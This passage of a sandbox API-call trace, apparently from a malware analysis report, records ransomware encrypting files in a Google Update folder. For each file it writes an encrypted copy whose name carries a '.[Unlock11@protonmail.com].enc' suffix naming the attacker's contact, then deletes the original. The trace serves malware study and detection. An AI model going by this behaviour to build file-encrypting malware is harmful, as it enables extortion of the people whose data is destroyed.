(x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecore.exe")) returned 1 [0220.019] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi", lpFilePart=0x9bada4*="GoogleUpdateHelper.msi") returned 0x45 [0220.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0220.020] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatehelper.msi"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0220.020] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36712dc | out: pbBuffer=0x36712dc) returned 1 [0220.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0220.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0220.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0220.021] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatehelper.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0220.021] GetFileType (hFile=0x334) returned 0x1 [0220.021] GetFileType (hFile=0x334) returned 0x1 [0220.021] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0220.021] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.021] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.021] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.022] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.022] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.022] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.022] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatehelper.msi.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0220.022] GetFileType (hFile=0x39c) returned 0x1 [0220.023] GetFileType (hFile=0x39c) returned 0x1 [0220.023] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0220.023] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.023] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.023] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.023] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.023] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.023] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.027] CloseHandle (hObject=0x39c) returned 1 [0220.027] CloseHandle (hObject=0x334) returned 1 [0220.028] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatehelper.msi")) returned 1 [0220.029] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe", lpFilePart=0x9bada4*="GoogleUpdateOnDemand.exe") returned 0x47 [0220.029] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdateondemand.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850)) returned 1 [0220.029] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a5c | out: pbBuffer=0x3671a5c) returned 1 [0220.030] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdateondemand.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0220.030] GetFileType (hFile=0x334) returned 0x1 [0220.030] GetFileType (hFile=0x334) returned 0x1 [0220.030] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0220.030] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.030] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.031] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.031] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.031] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.031] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.031] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdateondemand.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0220.031] GetFileType (hFile=0x39c) returned 0x1 [0220.032] GetFileType (hFile=0x39c) returned 0x1 [0220.032] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0220.032] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.032] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.032] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.032] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.032] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.051] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.055] CloseHandle (hObject=0x39c) returned 1 [0220.055] CloseHandle (hObject=0x334) returned 1 [0220.056] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdateondemand.exe")) returned 1 [0220.057] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe", lpFilePart=0x9bada4*="GoogleUpdateSetup.exe") returned 0x44 [0220.058] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatesetup.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc8ddbb3d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113f58)) returned 1 [0220.058] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367114c | out: pbBuffer=0x367114c) returned 1 [0220.058] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatesetup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0220.058] GetFileType (hFile=0x334) returned 0x1 [0220.058] GetFileType (hFile=0x334) returned 0x1 [0220.059] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0220.059] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.059] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.059] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.059] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.059] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.059] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.059] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatesetup.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0220.060] GetFileType (hFile=0x39c) returned 0x1 [0220.060] GetFileType (hFile=0x39c) returned 0x1 [0220.060] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0220.060] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.060] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.060] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.060] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.061] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.061] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.129] CloseHandle (hObject=0x39c) returned 1 [0220.130] CloseHandle (hObject=0x334) returned 1 [0220.130] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatesetup.exe")) returned 1 [0220.132] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe", lpFilePart=0x9bada4*="GoogleUpdateWebPlugin.exe") returned 0x48 [0220.132] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatewebplugin.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850)) returned 1 [0220.132] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367182c | out: pbBuffer=0x367182c) returned 1 [0220.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0220.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0220.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0220.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf58 [0220.133] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatewebplugin.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0220.133] GetFileType (hFile=0x334) returned 0x1 [0220.133] GetFileType (hFile=0x334) returned 0x1 [0220.134] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0220.134] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.134] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.134] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.134] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.134] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.134] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.134] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatewebplugin.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0220.135] GetFileType (hFile=0x39c) returned 0x1 [0220.135] GetFileType (hFile=0x39c) returned 0x1 [0220.135] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0220.135] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.135] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.135] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.135] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.136] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.136] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.140] CloseHandle (hObject=0x39c) returned 1 [0220.140] CloseHandle (hObject=0x334) returned 1 [0220.141] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatewebplugin.exe")) returned 1 [0220.142] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdate.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdate.dll", lpFilePart=0x9bada4*="goopdate.dll") returned 0x3b [0220.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0220.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0220.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0220.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0220.143] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_am.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_am.dll", lpFilePart=0x9bada4*="goopdateres_am.dll") returned 0x41 [0220.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0220.143] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ar.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ar.dll", lpFilePart=0x9bada4*="goopdateres_ar.dll") returned 0x41 [0220.143] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_bg.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_bg.dll", lpFilePart=0x9bada4*="goopdateres_bg.dll") returned 0x41 [0220.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0220.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0220.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0220.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0220.144] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_bn.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_bn.dll", lpFilePart=0x9bada4*="goopdateres_bn.dll") returned 0x41 [0220.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0220.144] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ca.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ca.dll", lpFilePart=0x9bada4*="goopdateres_ca.dll") returned 0x41 [0220.145] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_cs.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_cs.dll", lpFilePart=0x9bada4*="goopdateres_cs.dll") returned 0x41 [0220.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0220.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0220.145] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_da.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_da.dll", lpFilePart=0x9bada4*="goopdateres_da.dll") returned 0x41 [0220.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0220.145] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_de.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_de.dll", lpFilePart=0x9bada4*="goopdateres_de.dll") returned 0x41 [0220.145] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_el.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_el.dll", lpFilePart=0x9bada4*="goopdateres_el.dll") returned 0x41 [0220.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0220.146] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_en-GB.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_en-GB.dll", lpFilePart=0x9bada4*="goopdateres_en-GB.dll") returned 0x44 [0220.146] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_en.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_en.dll", lpFilePart=0x9bada4*="goopdateres_en.dll") returned 0x41 [0220.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0220.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0220.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0220.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0220.146] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_es-419.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_es-419.dll", lpFilePart=0x9bada4*="goopdateres_es-419.dll") returned 0x45 [0220.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0220.147] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_es.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_es.dll", lpFilePart=0x9bada4*="goopdateres_es.dll") returned 0x41 [0220.147] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_et.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_et.dll", lpFilePart=0x9bada4*="goopdateres_et.dll") returned 0x41 [0220.147] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0220.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0220.147] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0220.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0220.147] GetFullPathNameA (in: lpFileName="C:\\Program Files 